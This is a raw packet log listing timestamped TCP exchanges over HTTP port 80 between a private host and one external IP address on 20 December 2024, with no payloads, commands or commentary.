Dec 20, 2024 17:13:32.510231018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.510277033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.510819912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.510950089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.511594057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.511635065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.511689901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.511730909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.512358904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.512468100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.513179064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.513221979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.513267040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.513305902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.513967037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.514040947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.514096975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.514857054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.515014887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.515619040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.515661001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.515733004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.515772104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.516693115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.516743898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.517405987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.517447948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.517496109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.517540932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.518156052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.518235922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.518279076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.518771887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.518848896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.519401073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.519444942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.519500017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.519539118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.520241976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.520338058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.521029949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.521071911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.521084070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.521122932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.521790981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.521949053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.522090912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.522557974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.522816896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.522857904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.523323059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.523432970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.523471117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.524194002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.524254084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.524368048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.524904013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.524979115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.525029898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.525738001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.525928020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.525966883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.526439905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.526565075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.526602983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.527228117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.578068018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.620105028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.620193958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.620311022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.620465994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.620563984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.621186018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.621220112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.621233940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.621267080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.621972084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.622204065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.622250080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.622255087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.623034000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.623126984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.623183966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.623744011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.623800993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.623914003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.624548912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.624593019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.624644041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.625441074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.625488043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.625694036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.626115084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.626214981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.626225948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.626877069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.626929998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.626976967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.627691984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.627736092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.627762079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.628473043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.628586054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.628628016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.629306078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.629354954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.629426003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.630028009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.630088091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.630129099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.630841970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.630887032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.630937099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.631614923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.631671906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.631731033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.632383108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.632450104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.632477999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.633163929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.633215904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.633285999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.634041071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.634090900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.634202003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.634782076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.634825945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.634835005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.635493040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.635541916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.635601044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.636272907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.636318922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.636372089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.637042046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.637090921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.637198925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.637947083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.638087988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.638118029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.638676882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.638726950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.638834953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.639408112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.639465094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.639498949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.640194893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.640307903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.640316010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.640989065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.641041994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.641102076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.641875982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.641927004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.641995907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.642575026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.642612934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.642621040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.687525034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.701628923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.701739073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.701966047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.701992989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.702042103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.702704906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.702752113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.702830076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.702869892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.703525066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.703670979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.704175949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.704257011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.704344988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.704392910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.705100060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.705142975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.705187082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.705816984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.705965996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.706007957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.706598997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.706773043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.706814051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.707405090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.707451105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.707488060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.708374023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.708450079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.708488941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.708962917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.709059954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.709101915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.709785938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.709918022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.710084915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.710547924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.710618973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.711049080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.711299896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.711498976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.711540937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.712083101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.712469101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.712537050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.712862015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.712984085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.713025093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.713648081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.713756084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.713793993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.714432001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.714493990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.714649916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.715224981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.715322971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.715363979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.715987921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.716109037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.716152906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.716794014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.716876984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.717576027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.717618942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.717647076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.717684984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.718369007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.718482971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.718523979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.719101906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.765574932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.812638044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.812665939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.812740088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.812895060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.812984943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.813028097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.813776970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.813831091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.814519882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.814568996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.814650059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.814688921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.814775944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.815525055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.815721989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.815763950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.816351891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.816392899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.816441059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.817275047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.817378998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.817414045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.818208933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.818264008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.818347931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.818903923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.818921089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.818960905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.819648981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.819693089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.819849968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.820344925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.820456982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.820460081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.821229935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.821276903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.821280956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.821942091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.822096109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.822252035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.822657108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.822707891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.822768927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.823375940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.823393106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.823434114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.824238062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.824265003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.824314117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.824868917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.824913979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.825002909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.825546026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.825562000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.825608015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.826246977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.826323986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.826380014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.826972008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.827014923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.827056885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.827729940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.827781916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.827817917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.828660965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.828708887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.828713894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.829440117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.829489946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.829513073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.830033064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.830076933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.830280066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.831067085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.831084967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.831106901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.831597090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.831640959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.831645966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.832496881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.832648993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.832668066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.833400011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.833462000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.833507061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.833909988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.833952904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.834013939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.834712029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.834728956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.834791899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.893748999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.893774033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.893853903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.894025087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.894123077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.894613981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.894654989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.894723892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.894758940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.895487070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.895503998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.895689011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.896224022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.896421909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.896483898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.896989107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.897135973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.897728920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.897778988 CET	49711	80	192.168.2.9	147.45.113.159
